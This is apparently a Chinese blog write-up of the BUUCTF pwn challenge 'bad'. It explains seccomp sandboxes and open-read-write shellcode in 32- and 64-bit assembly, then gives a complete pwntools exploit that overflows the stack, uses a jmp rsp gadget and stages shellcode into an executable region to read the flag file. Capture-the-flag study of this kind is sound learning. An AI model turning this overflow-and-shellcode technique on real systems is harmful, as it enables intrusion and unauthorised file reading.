BUUCTF之Sandbox-bad

BUUCTF之Sandbox-bad

首先针对sandbox,我们需要有一个大概的认知,他是在一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程,通常我们采用orw的方式来获取flag.orw全称only read write,只使用read write函数将flag读取并且打印,shellcode分为三个步骤

  1. 使用open函数打开flag
  2. 使用read函数将flag读到buf
  3. 使用write函数将buf中的值输出

简化为三句伪代码如下,主要需要将这三句C语言变成汇编代码

fd = open(``"./flag"``, O_RDONLY);``read(fd, buf, 0x100)``write(1, buf, 0x100)

对于函数的限制,只要通过两种方式来实现,第一种是采用prctl函数调用,第二种是使用seccomp库函数。对于这类限制,我们可以使用seccomp-tools轻松发现他禁用的一些函数,由于他设置了这些黑名单,所以我们一下就可以发现这是一类sandbox的题型了。

32-bits

32-bits下的系统调用号

三个函数的系统调用编号

系统调用号 函数名 入口点
3 read sys_read
4 write sys_write
5 open sys_open

shellcode编写

32位系统调用汇编寄存器传递参数顺序依次是ebx, ecx, edx, esi;eax用于存放系统调用号

;32-bit shellcode
; open flag file
mov eax, 5 
mov ebx, filepath
mov ecx, 0
int 80h
; read flag
mov ebx, eax
mov eax, 3
mov ecx, buf
mov edx, 100h
int 80h  //相当于64位的syscall
; write flag
mov eax, 4
mov ebx, 1
mov ecx, buf
mov edx, 100h
int 80h
ret

64-bits

64-bits下的系统调用号

%rax System call %rdi %rsi %rdx %r10 %r8 %r9
0 sys_read unsigned int fd char *buf size_t count
1 sys_write unsigned int fd const char *buf size_t count
2 sys_open const char *filename int flags int mode
3 sys_close unsigned int fd

shellcode编写

64位shellcode汇编代码和32位的思路一样,不同点在于64位系统调用向寄存器传递的参数不同,且64位shellcode建议使用syscall,而不使用int 80中断

64位系统调用汇编寄存器传递参数顺序:rdi,rsi,rdx,r10,r8,r9。最多只能有6个参数,如果参数多于6个不会像用户态一样放到堆栈中,这个是内核接口调用约定和用户接口调用约定有区别

;64-bit shellcode
;open
mov rdi, filepath;
push rdi;
mov rax, 2;
mov rsi, 0;  //xor rsi,rsi;
mov rdx, 0; //同理
syscall;
; read
mov rdi 0x3;
mov rax, 0;
mov rsi, buf;buf可以修改成rsp,直接将flag读到栈中
mov rdx, 0x100;
syscall;
;write
mov rax, 1;
mov rdi, 1;
mov rsi, buf;
mov rdx, 0x100;
syscall;

这就是沙箱的大体流程了, 更加具体的我们下面用buu的bad这个题型作为示例


首先我们发现这题使用了seccomp对函数进行了限制,image

接着我们用seccomp-tools看一下函数的

image

然后再检查一下文件,发现什么保护机制都没有。

image

那么接下来的步骤就很明显了,通过read函数写入一个orw,但是很可惜,通过观察,我们发现这题的buf长度不支持我们写一个完整的orw,所以我们需要另外找一个地址来写入,

image

通过调试,我们发现一个可读写执行的地址0x123000,那么接下来我们要做的就是如何让rsp跳转到那里了,本来我想的是用栈迁移来解决,但是我发现本题还给了jump rsp,那么我们就可以用这个来做文章了

image

有了具体目标,我们就先可以把shellcode写下来了

shell='''
	     mov rdi,0x67616c662f2e;   //0x67616c662f2e的意思是galf/. 在小序端的读取下就是./flag
	     push rdi;
	     mov rax,2;
	     mov rdi,rsp;
	     xor rsi,rsi;
	     xor rdx,rdx;
	     syscall;
	     mov rax,0;
	     mov rdi,0x3;
	     mov rsi,0x123000;
	     mov rdx,0x50;
	     syscall;
	     mov rax,1;
	     mov rdi,1;
	     mov rsi,0x123000;
	     mov rdx,0x50;
	     syscall;
'''

而在pwntools中,我们也可以使用shellcraft模板让其为我们编写汇编

orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
orw_payload += shellcraft.write(1, mmap+0x100,0x50)

所以之后我们需要做的就是如何让rsp跳转到0x12300这个位置了,而这就要用到我们的read函数了,我们通过read在0x12300上读取一百个字节大小的空间,然后让rsp跳转到0x12300的位置

shellcode='''
     xor rdi, rdi
     mov rsi, 0x123000
     mov rdx, 0x100
     mov rax, 0
     syscall
     mov rax, 0x123000
     call rax
 '''
 payload=asm(shellcode)
 payload=payload.ljust(0x28,b'\x00')
 payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

相同的,在这里我们同样可以使用shellcraft

payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

最后的rsp减去0x30的原因是为了让新rsp在运行了前面的代码后重新到0x12300这个位置,这样才正确的执行我构造orw的shellcode

最后附上我们完整的代码

from pwn import *

context(arch = 'amd64',os = 'linux',log_level='debug')
#io=remote('node5.buuoj.cn',26885)
io=process('./bad')
addr=0x123000
jmp_rsp=0x400a01
mmap=0x123000

shell='''
	    
	     mov rdi,0x67616c662f2e;
	     push rdi;
	     mov rax,2;
	     mov rdi,rsp;
	     xor rsi,rsi;
	     xor rdx,rdx;
	     syscall;
	     mov rax,0;
	     mov rdi,0x3;
	     mov rsi,0x123000;
	     mov rdx,0x50;
	     syscall;
	     mov rax,1;
	     mov rdi,1;
	     mov rsi,0x123000;
	     mov rdx,0x50;
	     syscall;
'''
//orw_payload = shellcraft.open("./flag")
//orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
//orw_payload += shellcraft.write(1, mmap+0x100,0x50)
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
gdb.attach(io)
io.recvuntil("Easy shellcode, have fun!")
io.sendline(payload)
payload1=asm(shell)
io.sendline(payload1)
io.interactive()

image

如图,第一个方框就是orw的shellcode,第二个方框就是我们对mmap空间的开创,并且我们将ROP写到mmap提供的栈的内存上,之后利用jmp_rsp跳转到orw_shellcode的地方。

posted @   T_FIRE  阅读(27)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示